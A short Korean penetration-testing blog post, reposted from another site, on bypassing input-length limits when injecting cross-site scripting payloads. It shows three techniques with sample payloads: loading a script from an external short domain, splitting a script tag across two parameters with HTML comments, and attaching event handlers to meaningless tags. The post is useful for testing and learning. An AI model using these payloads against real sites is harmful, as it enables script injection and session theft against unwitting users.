출처:http://www.hahwul.com/2014/08/xss-short-xsscross-site-script-xss.html
Short XSS
XSS에 대한 체킹을 하다보면 특수문자나 구문에 대해 필터링이 이루어지지는 않지만
입력 글자 수 제한 등 여러가지 난관에 막힙니다.
그 중 입력 글자 수 제한에 대해 우회하는 방법에 대한 이야기입니다.
1) 외부 링크에서 코드 호출하기(Calling code from external links)
짧은 주소의 도메인을 가지고 있을 시 가능합니다.
<script src=//url.u/x.js></script>
공격코드 자체를 x.js 같이 파일로 생성해두고 사용하는것이 방법으로 길이에 대한 필터링을 빗겨갈 수 있습니다.
2) XSS 삽입부분 다수일때 주석 활용하기(Use comment out)
한 페이지에서 XSS는 여러부분에 대해 삽입이 가능한 경우가 많습니다.
입력이 가능한 부분이 name, age 라는 파라미터라고 가정하였을때 아래와 같은 형식으로 공격구문을 작성합니다.
name: <script>alert(1)<!--
age: --></script>
두 파라미터가 삽입되는 지점 사이에 html 코드들은 주석처리되며 alert 구문만 동작시킬 수 있습니다. 위 경우는 삽입구문 내 <!-- --> 를 통한 주석구문이 없어야됩니다.
3) 취약 속성사용이 가능할 때 의미없는 태그 사용(Meaningless HTML tags)
onclick, onmouseover, onkeyup 등 XSS 사용가능한 속성은 매우 많습니다.
이와같은 속성은 태그 종류에 상관없이 사용이 가능하기 때문에 간단한 테스트 시 많이 사용합니다.
<x onclick=alert(1)>
<b onkeyup=alert(1)>
위와같이 x, b 등 의미없는 태그를 이용하여 공격코드의 길이를 줄일 수 있습니다.
위 방법이외에도 다양한 방법으로 XSS 필터링 및 입력 범위 제한에 대해 우회가 가능합니다. 조금이나마 도움이 되었으면 합니다.
감사합니다. ;)
'프로젝트 관련 조사 > 모의 해킹' 카테고리의 다른 글
Making XSS Keylogger(XSS Keylogger 만들기) (0) | 2016.10.27 |
---|---|
URL Redirection & URL Forwards 우회 기법(Bypass Redirection Filtering) (0) | 2016.10.27 |
XSS(Cross Site Script)와 XFS(Cross Frame Script)의 차이 (0) | 2016.10.27 |
HEX Encoding을 이용한 XSS 필터링 우회 (1) | 2016.10.27 |
XSS 시 <> 우회 방법 (0) | 2016.10.27 |